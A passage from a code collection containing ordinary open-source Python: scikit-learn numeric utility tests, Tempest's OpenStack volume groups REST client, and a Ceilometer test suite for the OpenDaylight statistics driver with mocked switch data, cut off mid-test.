np.dot(A.T, B) C_ = fast_dot(A.T, B) assert_almost_equal(C, C_, decimal=5) C = np.dot(A, B.T) C_ = fast_dot(A, B.T) assert_almost_equal(C, C_, decimal=5) # Test square matrix * rectangular use case. A = rng.random_sample([2, 2]) for dtype in ['f8', 'f4']: A = A.astype(dtype) B = B.astype(dtype) C = np.dot(A, B) C_ = fast_dot(A, B) assert_almost_equal(C, C_, decimal=5) C = np.dot(A.T, B) C_ = fast_dot(A.T, B) assert_almost_equal(C, C_, decimal=5) if has_blas: for x in [np.array([[d] * 10] * 2) for d in [np.inf, np.nan]]: assert_raises(ValueError, _fast_dot, x, x.T) def test_incremental_variance_update_formulas(): # Test Youngs and Cramer incremental variance formulas. # Doggie data from http://www.mathsisfun.com/data/standard-deviation.html A = np.array([[600, 470, 170, 430, 300], [600, 470, 170, 430, 300], [600, 470, 170, 430, 300], [600, 470, 170, 430, 300]]).T idx = 2 X1 = A[:idx, :] X2 = A[idx:, :] old_means = X1.mean(axis=0) old_variances = X1.var(axis=0) old_sample_count = X1.shape[0] final_means, final_variances, final_count = _batch_mean_variance_update( X2, old_means, old_variances, old_sample_count) assert_almost_equal(final_means, A.mean(axis=0), 6) assert_almost_equal(final_variances, A.var(axis=0), 6) assert_almost_equal(final_count, A.shape[0]) def test_incremental_variance_ddof(): # Test that degrees of freedom parameter for calculations are correct. rng = np.random.RandomState(1999) X = rng.randn(50, 10) n_samples, n_features = X.shape for batch_size in [11, 20, 37]: steps = np.arange(0, X.shape[0], batch_size) if steps[-1] != X.shape[0]: steps = np.hstack([steps, n_samples]) for i, j in zip(steps[:-1], steps[1:]): batch = X[i:j, :] if i == 0: incremental_means = batch.mean(axis=0) incremental_variances = batch.var(axis=0) # Assign this twice so that the test logic is consistent incremental_count = batch.shape[0] sample_count = batch.shape[0] else: result = _batch_mean_variance_update( batch, incremental_means, incremental_variances, sample_count) (incremental_means, incremental_variances, incremental_count) = result sample_count += batch.shape[0] calculated_means = np.mean(X[:j], axis=0) calculated_variances = np.var(X[:j], axis=0) assert_almost_equal(incremental_means, calculated_means, 6) assert_almost_equal(incremental_variances, calculated_variances, 6) assert_equal(incremental_count, sample_count) def test_vector_sign_flip(): # Testing that sign flip is working & largest value has positive sign data = np.random.RandomState(36).randn(5, 5) max_abs_rows = np.argmax(np.abs(data), axis=1) data_flipped = _deterministic_vector_sign_flip(data) max_rows = np.argmax(data_flipped, axis=1) assert_array_equal(max_abs_rows, max_rows) signs = np.sign(data[range(data.shape[0]), max_abs_rows]) assert_array_equal(data, data_flipped * signs[:, np.newaxis]) def test_softmax(): rng = np.random.RandomState(0) X = rng.randn(3, 5) exp_X = np.exp(X) sum_exp_X = np.sum(exp_X, axis=1).reshape((-1, 1)) assert_array_almost_equal(softmax(X), exp_X / sum_exp_X)
bsd-3-clause
cisco-openstack/tempest
tempest/lib/services/volume/v3/groups_client.py
2
5170
# Copyright (C) 2017 Dell Inc. or its subsidiaries. # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. from oslo_serialization import jsonutils as json from six.moves.urllib import parse as urllib from tempest.lib.common import rest_client from tempest.lib import exceptions as lib_exc from tempest.lib.services.volume import base_client class GroupsClient(base_client.BaseClient): """Client class to send CRUD Volume Group API requests""" def create_group(self, **kwargs): """Creates a group. group_type and volume_types are required parameters in kwargs. For a full list of available parameters, please refer to the official API reference: https://docs.openstack.org/api-ref/block-storage/v3/#create-group """ post_body = json.dumps({'group': kwargs}) resp, body = self.post('groups', post_body) body = json.loads(body) self.expected_success(202, resp.status) return rest_client.ResponseBody(resp, body) def delete_group(self, group_id, delete_volumes=True): """Deletes a group. For a full list of available parameters, please refer to the official API reference: https://docs.openstack.org/api-ref/block-storage/v3/#delete-group """ post_body = {'delete-volumes': delete_volumes} post_body = json.dumps({'delete': post_body}) resp, body = self.post('groups/%s/action' % group_id, post_body) self.expected_success(202, resp.status) return rest_client.ResponseBody(resp, body) def show_group(self, group_id): """Returns the details of a single group. For a full list of available parameters, please refer to the official API reference: https://docs.openstack.org/api-ref/block-storage/v3/#show-group-details """ url = "groups/%s" % str(group_id) resp, body = self.get(url) body = json.loads(body) self.expected_success(200, resp.status) return rest_client.ResponseBody(resp, body) def list_groups(self, detail=False, **params): """Lists information for all the tenant's groups. For a full list of available parameters, please refer to the official API reference: https://docs.openstack.org/api-ref/block-storage/v3/#list-groups https://docs.openstack.org/api-ref/block-storage/v3/#list-groups-with-details """ url = "groups" if detail: url += "/detail" if params: url += '?%s' % urllib.urlencode(params) resp, body = self.get(url) body = json.loads(body) self.expected_success(200, resp.status) return rest_client.ResponseBody(resp, body) def create_group_from_source(self, **kwargs): """Creates a group from source. For a full list of available parameters, please refer to the official API reference: https://docs.openstack.org/api-ref/block-storage/v3/#create-group-from-source """ post_body = json.dumps({'create-from-src': kwargs}) resp, body = self.post('groups/action', post_body) body = json.loads(body) self.expected_success(202, resp.status) return rest_client.ResponseBody(resp, body) def update_group(self, group_id, **kwargs): """Updates the specified group. For a full list of available parameters, please refer to the official API reference: https://docs.openstack.org/api-ref/block-storage/v3/#update-group """ put_body = json.dumps({'group': kwargs}) resp, body = self.put('groups/%s' % group_id, put_body) self.expected_success(202, resp.status) return rest_client.ResponseBody(resp, body) def reset_group_status(self, group_id, status_to_set): """Resets group status. For more information, please refer to the official API reference: https://docs.openstack.org/api-ref/block-storage/v3/#reset-group-status """ post_body = json.dumps({'reset_status': {'status': status_to_set}}) resp, body = self.post('groups/%s/action' % group_id, post_body) self.expected_success(202, resp.status) return rest_client.ResponseBody(resp, body) def is_resource_deleted(self, id): try: self.show_group(id) except lib_exc.NotFound: return True return False @property def resource_type(self): """Returns the primary type of resource this client works with.""" return 'group'
apache-2.0
r-mibu/ceilometer
ceilometer/tests/network/statistics/opendaylight/test_driver.py
12
66291
# # Copyright 2013 NEC Corporation. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. import abc import mock from oslotest import base import six from six import moves from six.moves.urllib import parse as url_parse from ceilometer.network.statistics.opendaylight import driver @six.add_metaclass(abc.ABCMeta) class _Base(base.BaseTestCase): @abc.abstractproperty def flow_data(self): pass @abc.abstractproperty def port_data(self): pass @abc.abstractproperty def table_data(self): pass @abc.abstractproperty def topology_data(self): pass @abc.abstractproperty def switch_data(self): pass @abc.abstractproperty def user_links_data(self): pass @abc.abstractproperty def active_hosts_data(self): pass @abc.abstractproperty def inactive_hosts_data(self): pass fake_odl_url = url_parse.ParseResult('opendaylight', 'localhost:8080', 'controller/nb/v2', None, None, None) fake_params = url_parse.parse_qs('user=admin&password=admin&scheme=http&' 'container_name=default&auth=basic') fake_params_multi_container = ( url_parse.parse_qs('user=admin&password=admin&scheme=http&' 'container_name=first&container_name=second&' 'auth=basic')) def setUp(self): super(_Base, self).setUp() self.addCleanup(mock.patch.stopall) self.driver = driver.OpenDayLightDriver() self.get_flow_statistics = mock.patch( 'ceilometer.network.statistics.opendaylight.client.' 'StatisticsAPIClient.get_flow_statistics', return_value=self.flow_data).start() mock.patch('ceilometer.network.statistics.opendaylight.client.' 'StatisticsAPIClient.get_table_statistics', return_value=self.table_data).start() mock.patch('ceilometer.network.statistics.opendaylight.client.' 'StatisticsAPIClient.get_port_statistics', return_value=self.port_data).start() mock.patch('ceilometer.network.statistics.opendaylight.client.' 'TopologyAPIClient.get_topology', return_value=self.topology_data).start() mock.patch('ceilometer.network.statistics.opendaylight.client.' 'TopologyAPIClient.get_user_links', return_value=self.user_links_data).start() mock.patch('ceilometer.network.statistics.opendaylight.client.' 'SwitchManagerAPIClient.get_nodes', return_value=self.switch_data).start() mock.patch('ceilometer.network.statistics.opendaylight.client.' 'HostTrackerAPIClient.get_active_hosts', return_value=self.active_hosts_data).start() mock.patch('ceilometer.network.statistics.opendaylight.client.' 'HostTrackerAPIClient.get_inactive_hosts', return_value=self.inactive_hosts_data).start() def _test_for_meter(self, meter_name, expected_data): sample_data = self.driver.get_sample_data(meter_name, self.fake_odl_url, self.fake_params, {}) for sample, expected in moves.zip(sample_data, expected_data): self.assertEqual(expected[0], sample[0]) # check volume self.assertEqual(expected[1], sample[1]) # check resource id self.assertEqual(expected[2], sample[2]) # check resource metadata self.assertIsNotNone(sample[3]) # timestamp class TestOpenDayLightDriverSpecial(_Base): flow_data = {"flowStatistics": []} port_data = {"portStatistics": []} table_data = {"tableStatistics": []} topology_data = {"edgeProperties": []} switch_data = {"nodeProperties": []} user_links_data = {"userLinks": []} active_hosts_data = {"hostConfig": []} inactive_hosts_data = {"hostConfig": []} def test_not_implemented_meter(self): sample_data = self.driver.get_sample_data('egg', self.fake_odl_url, self.fake_params, {}) self.assertIsNone(sample_data) sample_data = self.driver.get_sample_data('switch.table.egg', self.fake_odl_url, self.fake_params, {}) self.assertIsNone(sample_data) def test_cache(self): cache = {} self.driver.get_sample_data('switch', self.fake_odl_url, self.fake_params, cache) self.driver.get_sample_data('switch', self.fake_odl_url, self.fake_params, cache) self.assertEqual(1, self.get_flow_statistics.call_count) cache = {} self.driver.get_sample_data('switch', self.fake_odl_url, self.fake_params, cache) self.assertEqual(2, self.get_flow_statistics.call_count) def test_multi_container(self): cache = {} self.driver.get_sample_data('switch', self.fake_odl_url, self.fake_params_multi_container, cache) self.assertEqual(2, self.get_flow_statistics.call_count) self.assertIn('network.statistics.opendaylight', cache) odl_data = cache['network.statistics.opendaylight'] self.assertIn('first', odl_data) self.assertIn('second', odl_data) def test_http_error(self): mock.patch('ceilometer.network.statistics.opendaylight.client.' 'StatisticsAPIClient.get_flow_statistics', side_effect=Exception()).start() sample_data = self.driver.get_sample_data('switch', self.fake_odl_url, self.fake_params, {}) self.assertEqual(0, len(sample_data)) mock.patch('ceilometer.network.statistics.opendaylight.client.' 'StatisticsAPIClient.get_flow_statistics', side_effect=[Exception(), self.flow_data]).start() cache = {} self.driver.get_sample_data('switch', self.fake_odl_url, self.fake_params_multi_container, cache) self.assertIn('network.statistics.opendaylight', cache) odl_data = cache['network.statistics.opendaylight'] self.assertIn('second', odl_data) class TestOpenDayLightDriverSimple(_Base): flow_data = { "flowStatistics": [ { "node": { "id": "00:00:00:00:00:00:00:02", "type": "OF" }, "flowStatistic": [ { "flow": { "match": { "matchField": [ { "type": "DL_TYPE", "value": "2048" }, { "mask": "255.255.255.255", "type": "NW_DST", "value": "1.1.1.1" } ] }, "actions": { "@type": "output", "port": { "id": "3", "node": { "id": "00:00:00:00:00:00:00:02", "type": "OF" }, "type": "OF" } }, "hardTimeout": "0", "id": "0", "idleTimeout": "0", "priority": "1" }, "byteCount": "0", "durationNanoseconds": "397000000", "durationSeconds": "1828", "packetCount": "0", "tableId": "0" }, ] } ] } port_data = { "portStatistics": [ { "node": { "id": "00:00:00:00:00:00:00:02", "type": "OF" }, "portStatistic": [ { "nodeConnector": { "id": "4", "node": { "id": "00:00:00:00:00:00:00:02", "type": "OF" }, "type": "OF" }, "collisionCount": "0", "receiveBytes": "0", "receiveCrcError": "0", "receiveDrops": "0", "receiveErrors": "0", "receiveFrameError": "0", "receiveOverRunError": "0", "receivePackets": "0", "transmitBytes": "0", "transmitDrops": "0", "transmitErrors": "0", "transmitPackets": "0" }, ] } ] } table_data = { "tableStatistics": [ { "node": { "id": "00:00:00:00:00:00:00:02", "type": "OF" }, "tableStatistic": [ { "activeCount": "11", "lookupCount": "816", "matchedCount": "220", "nodeTable": { "id": "0", "node": { "id": "00:00:00:00:00:00:00:02", "type": "OF" } } }, ] } ] } topology_data = {"edgeProperties": []} switch_data = { "nodeProperties": [ { "node": { "id": "00:00:00:00:00:00:00:02", "type": "OF" }, "properties": { "actions": { "value": "4095" }, "timeStamp": { "name": "connectedSince", "value": "1377291227877" } } }, ] } user_links_data = {"userLinks": []} active_hosts_data = {"hostConfig": []} inactive_hosts_data = {"hostConfig": []} def test_meter_switch(self): expected_data = [ (1, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', "properties_actions": "4095", "properties_timeStamp_connectedSince": "1377291227877" }), ] self._test_for_meter('switch', expected_data) def test_meter_switch_port(self): expected_data = [ (1, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'port': '4', }), ] self._test_for_meter('switch.port', expected_data) def test_meter_switch_port_receive_packets(self): expected_data = [ (0, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'port': '4'}), ] self._test_for_meter('switch.port.receive.packets', expected_data) def test_meter_switch_port_transmit_packets(self): expected_data = [ (0, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'port': '4'}), ] self._test_for_meter('switch.port.transmit.packets', expected_data) def test_meter_switch_port_receive_bytes(self): expected_data = [ (0, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'port': '4'}), ] self._test_for_meter('switch.port.receive.bytes', expected_data) def test_meter_switch_port_transmit_bytes(self): expected_data = [ (0, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'port': '4'}), ] self._test_for_meter('switch.port.transmit.bytes', expected_data) def test_meter_switch_port_receive_drops(self): expected_data = [ (0, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'port': '4'}), ] self._test_for_meter('switch.port.receive.drops', expected_data) def test_meter_switch_port_transmit_drops(self): expected_data = [ (0, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'port': '4'}), ] self._test_for_meter('switch.port.transmit.drops', expected_data) def test_meter_switch_port_receive_errors(self): expected_data = [ (0, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'port': '4'}), ] self._test_for_meter('switch.port.receive.errors', expected_data) def test_meter_switch_port_transmit_errors(self): expected_data = [ (0, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'port': '4'}), ] self._test_for_meter('switch.port.transmit.errors', expected_data) def test_meter_switch_port_receive_frame_error(self): expected_data = [ (0, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'port': '4'}), ] self._test_for_meter('switch.port.receive.frame_error', expected_data) def test_meter_switch_port_receive_overrun_error(self): expected_data = [ (0, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'port': '4'}), ] self._test_for_meter('switch.port.receive.overrun_error', expected_data) def test_meter_switch_port_receive_crc_error(self): expected_data = [ (0, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'port': '4'}), ] self._test_for_meter('switch.port.receive.crc_error', expected_data) def test_meter_switch_port_collision_count(self): expected_data = [ (0, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'port': '4'}), ] self._test_for_meter('switch.port.collision.count', expected_data) def test_meter_switch_table(self): expected_data = [ (1, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'table_id': '0'}), ] self._test_for_meter('switch.table', expected_data) def test_meter_switch_table_active_entries(self): expected_data = [ (11, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'table_id': '0'}), ] self._test_for_meter('switch.table.active.entries', expected_data) def test_meter_switch_table_lookup_packets(self): expected_data = [ (816, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'table_id': '0'}), ] self._test_for_meter('switch.table.lookup.packets', expected_data) def test_meter_switch_table_matched_packets(self): expected_data = [ (220, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'table_id': '0'}), ] self._test_for_meter('switch.table.matched.packets', expected_data) def test_meter_switch_flow(self): expected_data = [ (1, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'table_id': '0', 'flow_id': '0', "flow_match_matchField[0]_type": "DL_TYPE", "flow_match_matchField[0]_value": "2048", "flow_match_matchField[1]_mask": "255.255.255.255", "flow_match_matchField[1]_type": "NW_DST", "flow_match_matchField[1]_value": "1.1.1.1", "flow_actions_@type": "output", "flow_actions_port_id": "3", "flow_actions_port_node_id": "00:00:00:00:00:00:00:02", "flow_actions_port_node_type": "OF", "flow_actions_port_type": "OF", "flow_hardTimeout": "0", "flow_idleTimeout": "0", "flow_priority": "1" }), ] self._test_for_meter('switch.flow', expected_data) def test_meter_switch_flow_duration_seconds(self): expected_data = [ (1828, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'table_id': '0', 'flow_id': '0', "flow_match_matchField[0]_type": "DL_TYPE", "flow_match_matchField[0]_value": "2048", "flow_match_matchField[1]_mask": "255.255.255.255", "flow_match_matchField[1]_type": "NW_DST", "flow_match_matchField[1]_value": "1.1.1.1", "flow_actions_@type": "output", "flow_actions_port_id": "3", "flow_actions_port_node_id": "00:00:00:00:00:00:00:02", "flow_actions_port_node_type": "OF", "flow_actions_port_type": "OF", "flow_hardTimeout": "0", "flow_idleTimeout": "0", "flow_priority": "1"}), ] self._test_for_meter('switch.flow.duration_seconds', expected_data) def test_meter_switch_flow_duration_nanoseconds(self): expected_data = [ (397000000, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'table_id': '0', 'flow_id': '0', "flow_match_matchField[0]_type": "DL_TYPE", "flow_match_matchField[0]_value": "2048", "flow_match_matchField[1]_mask": "255.255.255.255", "flow_match_matchField[1]_type": "NW_DST", "flow_match_matchField[1]_value": "1.1.1.1", "flow_actions_@type": "output", "flow_actions_port_id": "3", "flow_actions_port_node_id": "00:00:00:00:00:00:00:02", "flow_actions_port_node_type": "OF", "flow_actions_port_type": "OF", "flow_hardTimeout": "0", "flow_idleTimeout": "0", "flow_priority": "1"}), ] self._test_for_meter('switch.flow.duration_nanoseconds', expected_data) def test_meter_switch_flow_packets(self): expected_data = [ (0, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'table_id': '0', 'flow_id': '0', "flow_match_matchField[0]_type": "DL_TYPE", "flow_match_matchField[0]_value": "2048", "flow_match_matchField[1]_mask": "255.255.255.255", "flow_match_matchField[1]_type": "NW_DST", "flow_match_matchField[1]_value": "1.1.1.1", "flow_actions_@type": "output", "flow_actions_port_id": "3", "flow_actions_port_node_id": "00:00:00:00:00:00:00:02", "flow_actions_port_node_type": "OF", "flow_actions_port_type": "OF", "flow_hardTimeout": "0", "flow_idleTimeout": "0", "flow_priority": "1"}), ] self._test_for_meter('switch.flow.packets', expected_data) def test_meter_switch_flow_bytes(self): expected_data = [ (0, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'table_id': '0', 'flow_id': '0', "flow_match_matchField[0]_type": "DL_TYPE", "flow_match_matchField[0]_value": "2048", "flow_match_matchField[1]_mask": "255.255.255.255", "flow_match_matchField[1]_type": "NW_DST", "flow_match_matchField[1]_value": "1.1.1.1", "flow_actions_@type": "output", "flow_actions_port_id": "3", "flow_actions_port_node_id": "00:00:00:00:00:00:00:02", "flow_actions_port_node_type": "OF", "flow_actions_port_type": "OF", "flow_hardTimeout": "0", "flow_idleTimeout": "0", "flow_priority": "1"}), ] self._test_for_meter('switch.flow.bytes', expected_data) class TestOpenDayLightDriverComplex(_Base): flow_data = { "flowStatistics": [ { "node": { "id": "00:00:00:00:00:00:00:02", "type": "OF" }, "flowStatistic": [ { "flow": { "match": { "matchField": [ { "type": "DL_TYPE", "value": "2048" }, { "mask": "255.255.255.255", "type": "NW_DST", "value": "1.1.1.1" } ] }, "actions": { "@type": "output", "port": { "id": "3", "node": { "id": "00:00:00:00:00:00:00:02", "type": "OF" }, "type": "OF" } }, "hardTimeout": "0", "id": "0", "idleTimeout": "0", "priority": "1" }, "byteCount": "0", "durationNanoseconds": "397000000", "durationSeconds": "1828", "packetCount": "0", "tableId": "0" }, { "flow": { "match": { "matchField": [ { "type": "DL_TYPE", "value": "2048" }, { "mask": "255.255.255.255", "type": "NW_DST", "value": "1.1.1.2" } ] }, "actions": { "@type": "output", "port": { "id": "4", "node": { "id": "00:00:00:00:00:00:00:03", "type": "OF" }, "type": "OF" } }, "hardTimeout": "0", "id": "0", "idleTimeout": "0", "priority": "1" }, "byteCount": "89", "durationNanoseconds": "200000", "durationSeconds": "5648", "packetCount": "30", "tableId": "1" } ] } ] } port_data = { "portStatistics": [ { "node": { "id": "00:00:00:00:00:00:00:02", "type": "OF" }, "portStatistic": [ { "nodeConnector": { "id": "4", "node": { "id": "00:00:00:00:00:00:00:02", "type": "OF" }, "type": "OF" }, "collisionCount": "0", "receiveBytes": "0", "receiveCrcError": "0", "receiveDrops": "0", "receiveErrors": "0", "receiveFrameError": "0", "receiveOverRunError": "0", "receivePackets": "0", "transmitBytes": "0", "transmitDrops": "0", "transmitErrors": "0", "transmitPackets": "0" }, { "nodeConnector": { "id": "3", "node": { "id": "00:00:00:00:00:00:00:02", "type": "OF" }, "type": "OF" }, "collisionCount": "0", "receiveBytes": "12740", "receiveCrcError": "0", "receiveDrops": "0", "receiveErrors": "0", "receiveFrameError": "0", "receiveOverRunError": "0", "receivePackets": "182", "transmitBytes": "12110", "transmitDrops": "0", "transmitErrors": "0", "transmitPackets": "173" }, { "nodeConnector": { "id": "2", "node": { "id": "00:00:00:00:00:00:00:02", "type": "OF" }, "type": "OF" }, "collisionCount": "0", "receiveBytes": "12180", "receiveCrcError": "0", "receiveDrops": "0", "receiveErrors": "0", "receiveFrameError": "0", "receiveOverRunError": "0", "receivePackets": "174", "transmitBytes": "12670", "transmitDrops": "0", "transmitErrors": "0", "transmitPackets": "181" }, { "nodeConnector": { "id": "1", "node": { "id": "00:00:00:00:00:00:00:02", "type": "OF" }, "type": "OF" }, "collisionCount": "0", "receiveBytes": "0", "receiveCrcError": "0", "receiveDrops": "0", "receiveErrors": "0", "receiveFrameError": "0", "receiveOverRunError": "0", "receivePackets": "0", "transmitBytes": "0", "transmitDrops": "0", "transmitErrors": "0", "transmitPackets": "0" }, { "nodeConnector": { "id": "0", "node": { "id": "00:00:00:00:00:00:00:02", "type": "OF" }, "type": "OF" }, "collisionCount": "0", "receiveBytes": "0", "receiveCrcError": "0", "receiveDrops": "0", "receiveErrors": "0", "receiveFrameError": "0", "receiveOverRunError": "0", "receivePackets": "0", "transmitBytes": "0", "transmitDrops": "0", "transmitErrors": "0", "transmitPackets": "0" } ] } ] } table_data = { "tableStatistics": [ { "node": { "id": "00:00:00:00:00:00:00:02", "type": "OF" }, "tableStatistic": [ { "activeCount": "11", "lookupCount": "816", "matchedCount": "220", "nodeTable": { "id": "0", "node": { "id": "00:00:00:00:00:00:00:02", "type": "OF" } } }, { "activeCount": "20", "lookupCount": "10", "matchedCount": "5", "nodeTable": { "id": "1", "node": { "id": "00:00:00:00:00:00:00:02", "type": "OF" } } } ] } ] } topology_data = { "edgeProperties": [ { "edge": { "headNodeConnector": { "id": "2", "node": { "id": "00:00:00:00:00:00:00:03", "type": "OF" }, "type": "OF" }, "tailNodeConnector": { "id": "2", "node": { "id": "00:00:00:00:00:00:00:02", "type": "OF" }, "type": "OF" } }, "properties": { "bandwidth": { "value": 10000000000 }, "config": { "value": 1 }, "name": { "value": "s2-eth3" }, "state": { "value": 1 }, "timeStamp": { "name": "creation", "value": 1379527162648 } } }, { "edge": { "headNodeConnector": { "id": "5", "node": { "id": "00:00:00:00:00:00:00:02", "type": "OF" }, "type": "OF" }, "tailNodeConnector": { "id": "2", "node": { "id": "00:00:00:00:00:00:00:04", "type": "OF" }, "type": "OF" } }, "properties": { "timeStamp": { "name": "creation", "value": 1379527162648 } } } ] } switch_data = { "nodeProperties": [ { "node": { "id": "00:00:00:00:00:00:00:02", "type": "OF" }, "properties": { "actions": { "value": "4095" }, "buffers": { "value": "256" }, "capabilities": { "value": "199" }, "description": { "value": "None" }, "macAddress": { "value": "00:00:00:00:00:02" }, "tables": { "value": "-1" }, "timeStamp": { "name": "connectedSince", "value": "1377291227877" } } }, { "node": { "id": "00:00:00:00:00:00:00:03", "type": "OF" }, "properties": { "actions": { "value": "1024" }, "buffers": { "value": "512" }, "capabilities": { "value": "1000" }, "description": { "value": "Foo Bar" }, "macAddress": { "value": "00:00:00:00:00:03" }, "tables": { "value": "10" }, "timeStamp": { "name": "connectedSince", "value": "1377291228000" } } } ] } user_links_data = { "userLinks": [ { "dstNodeConnector": "OF|5@OF|00:00:00:00:00:00:00:05", "name": "link1", "srcNodeConnector": "OF|3@OF|00:00:00:00:00:00:00:02", "status": "Success" } ] } active_hosts_data = { "hostConfig": [ { "dataLayerAddress": "00:00:00:00:01:01", "networkAddress": "1.1.1.1", "nodeConnectorId": "9", "nodeConnectorType": "OF", "nodeId": "00:00:00:00:00:00:00:01", "nodeType": "OF", "staticHost": "false", "vlan": "0" }, { "dataLayerAddress": "00:00:00:00:02:02", "networkAddress": "2.2.2.2", "nodeConnectorId": "1", "nodeConnectorType": "OF", "nodeId": "00:00:00:00:00:00:00:02", "nodeType": "OF", "staticHost": "true", "vlan": "0" } ] } inactive_hosts_data = { "hostConfig": [ { "dataLayerAddress": "00:00:00:01:01:01", "networkAddress": "1.1.1.3", "nodeConnectorId": "8", "nodeConnectorType": "OF", "nodeId": "00:00:00:00:00:00:00:01", "nodeType": "OF", "staticHost": "false", "vlan": "0" }, { "dataLayerAddress": "00:00:00:01:02:02", "networkAddress": "2.2.2.4", "nodeConnectorId": "0", "nodeConnectorType": "OF", "nodeId": "00:00:00:00:00:00:00:02", "nodeType": "OF", "staticHost": "false", "vlan": "1" } ] } def test_meter_switch(self): expected_data = [ (1, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', "properties_actions": "4095", "properties_buffers": "256", "properties_capabilities": "199", "properties_description": "None", "properties_macAddress": "00:00:00:00:00:02", "properties_tables": "-1", "properties_timeStamp_connectedSince": "1377291227877" }), (1, "00:00:00:00:00:00:00:03", { 'controller': 'OpenDaylight', 'container': 'default', "properties_actions": "1024", "properties_buffers": "512", "properties_capabilities": "1000", "properties_description": "Foo Bar", "properties_macAddress": "00:00:00:00:00:03", "properties_tables": "10", "properties_timeStamp_connectedSince": "1377291228000" }), ] self._test_for_meter('switch', expected_data) def test_meter_switch_port(self): expected_data = [ (1, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'port': '4', }), (1, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'port': '3', 'user_link_node_id': '00:00:00:00:00:00:00:05', 'user_link_node_port': '5', 'user_link_status': 'Success', 'user_link_name': 'link1', }), (1, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'port': '2', 'topology_node_id': '00:00:00:00:00:00:00:03', 'topology_node_port': '2', "topology_bandwidth": 10000000000, "topology_config": 1, "topology_name": "s2-eth3", "topology_state": 1, "topology_timeStamp_creation": 1379527162648 }), (1, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'port': '1', 'host_status': 'active', 'host_dataLayerAddress': '00:00:00:00:02:02', 'host_networkAddress': '2.2.2.2', 'host_staticHost': 'true', 'host_vlan': '0', }), (1, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'port': '0', 'host_status': 'inactive', 'host_dataLayerAddress': '00:00:00:01:02:02', 'host_networkAddress': '2.2.2.4', 'host_staticHost': 'false', 'host_vlan': '1', }), ] self._test_for_meter('switch.port', expected_data) def test_meter_switch_port_receive_packets(self): expected_data = [ (0, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'port': '4'}), (182, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'port': '3'}), (174, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'port': '2'}), (0, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'port': '1'}), (0, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'port': '0'}), ] self._test_for_meter('switch.port.receive.packets', expected_data) def test_meter_switch_port_transmit_packets(self): expected_data = [ (0, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'port': '4'}), (173, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'port': '3'}), (181, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'port': '2'}), (0, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'port': '1'}), (0, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'port': '0'}), ] self._test_for_meter('switch.port.transmit.packets', expected_data) def test_meter_switch_port_receive_bytes(self): expected_data = [ (0, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'port': '4'}), (12740, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'port': '3'}), (12180, "00:00:00:00:00:00:00:02", { 'controller': 'OpenDaylight', 'container': 'default', 'port': '2'}), (0, "00:00:00:00:00:00:00:02", { 